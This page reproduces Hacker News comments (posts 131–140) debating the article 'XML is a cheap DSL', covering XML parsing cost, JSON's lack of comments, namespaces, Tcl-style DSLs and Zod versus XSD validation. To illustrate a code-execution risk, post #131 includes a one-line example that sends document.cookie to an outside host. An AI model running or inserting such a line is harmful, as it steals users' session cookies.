Live data from Hacker News

XML is a cheap DSL

unplannedobsolescence.com

131–140 of 274 posts

Re: XML is a cheap DSL

#131
post #129

Earlier quoted context omitted.

This is an interesting, but objectively terrible idea. You’ve now introduced arbitrary code execution into something that should be data. Now let me send you a fact graph that contains: fetch(`https://callhome.com/collect?s=${document.cookie}`)

The "data" is part of the tax simulation source code, not untrusted input, so such an attack vector doesn't exist.

Yet. You’re adding one other thing that authors need to keep in mind when developing the product, fixing bugs, and adding features. The fact that the input must be trusted is not an intrinsic part of the business logic, it’s an additional caveat that humans need to remember.

Re: XML is a cheap DSL

#132
post #7

XML is notoriously expensive to properly parse in many languages. Basically, the entire world centers around 3 open source implementations (libxml2, expat and Xerces), if you want to get anywhere close to actual compliance. Even with them, you might hit challenges (libxml2 was largely unmaintained recently, yet it is the basis for many bindings in other languages). The main property of SGML-derived languages is that…

I keep seeing people make the same mistake as XML made over and over; without learning from it. I will clarify the problem thusly: > The more capabilities you add to a interchange format, the harder that format is to parse. There is a reason why JSON is so popular, it supports so little, that it is legitimately easy to import. Whereas XML supports attributes, namespaces, CDATA, DTDs, QNames, xml:base, xml:lang, XIncl…

> XML supports attributes, namespaces, CDATA, DTDs, QNames, xml:base, xml:lang, XInclude, etc etc. They gave it everything, including the kitchen sink.

Ah, the old "throw a bag of nouns at the reader and hope he's intimidated" rhetorical flutist. These things are either non-issues (like QName), things a parser does for you, or optional standards adjacent to XML but not essential to it, e.g. XInclude.

Re: XML is a cheap DSL

#133

I have been playing with DSLs a little, here is the kind of syntax that I would choose: invoice "INV-001" for "ACME Corp" item "Hosting" 100 x 3 item "Support" 50 x 2 tax 20% invoice "INV-002" for "Globex" item "Consulting" 200 x 5 discount 10% tax 21% In contrast to XML (even with authoring tools), my feeling is that XML (or any angle-bracket language tbh) is just too hard to write correctly (ie XML syntax and XMl s…

I have a preference for command/argument DSLs for certain things, such as the example given, over XML etc, for the reasons given.

As an occasional Tcl coder, the example would actually be a valid Tcl script - after adding invoice, item, tax and discount procedures, the example could be run as a script. The procedures would perform actions as needed for the arguments.

It's a shame that there isn't a common library that can be used for these types of tasks. Tcl evolved into something quite complex - compiling to bytecode, object oriented features, etc, etc. Although Tcl was originally intended to be embedded in apps, that boat sailed a long time ago (except for FPGA tools, which is where I use it).

Re: XML is a cheap DSL

#134
post #83

How awesome would XML be if it didn't have attributes, namespaces and could close elements with

Without namespaces it would be just ML, and that already has another meaning.

The "extendable" part is about accepting unknown tags. The namespaces expansion is responsible for destroying this, not for creating it.

Re: XML is a cheap DSL

#135
I like how this article lists various alternatives. Like I was thinking "well, JSON is more compact", and they covered JSON. And then "well, s-expressions supports nesting too", and then they covered s-expressions as well. The best documentation always include the things that weren't done.

Re: XML is a cheap DSL

#137
post #103

Earlier quoted context omitted.

I think JSON has the opposite problem, it is too simple, the lack of comments in particular is particularly bad for many common usages of the format today. I know some implementations of JSON support comments and other things, but is is not true JSON, in the same way that most simple XML implementations are not true XML. That's what I say "opposite problem", XML is too complex, and most practical uses of XML use inco…

A lot of people dislike that decision not to include comments in JSON, but I think while shocking it was and is totally correct. In a programming language it's usually free to have comments because the comment is erased before the program runs; we usually render comments in grey text because they can't change the meaning of the program. In a data language you have no such luxury. In a data language there's no comment…

> while shocking it was and is totally correct

Agreed —— consider how comments have been abused in HTML, XML, and RSS.

Any solution or technology that can be abused will be abused if there are no constraints.

Re: XML is a cheap DSL

#138
post #83

Earlier quoted context omitted.

Without namespaces it would be just ML, and that already has another meaning.

The "extendable" part is about accepting unknown tags. The namespaces expansion is responsible for destroying this, not for creating it.

I mean I guess one can look at it like that. One could also say that namespaces make it clear what extension it is and resolve name conflicts.

Re: XML is a cheap DSL

#139
post #53

Earlier quoted context omitted.

> JSON: No comments, no datatypes, no good system for validation. I don't agree at all. With tools like Zod, it is much more pleasant to write schemas and validate the file than with XML. If you want comments, you can use JSON5 or YAML, that can be validated the same way.

I think you have it backward. Libraries like zod exist _because_ JSON is so ubiquitous. Someone could just as easily implement a zod for XML. I’m not a huge proponent of XML (hard to write, hard to parse), but what you describe are not technical limitations of the format.

I think that you're missing that the parent poster and I are implicitly assuming that XML is validated the most common way, i.e. with XSD, and that I'm comparing XSD validation and Zod.

Re: XML is a cheap DSL

#140
It is an ironic truth that those who seek to create systems which most assume the perfectibility of humans end up building the systems which are most soul destroying and most rigid, systems that rot from within until like great creaking rotten oak trees they collapse on top of themselves leaving a sour smell and decay. We saw it happen in 1989 with the astonishing fall of the USSR. Conversely, those systems which best take into account the complex, frail, brilliance of human nature and build in flexibility, checks and balances, and tolerance tend to survive beyond all hopes. -- Adam Bosworth, https://adambosworth.net/2004/11/18/iscoc04-talk/
Post reply on HN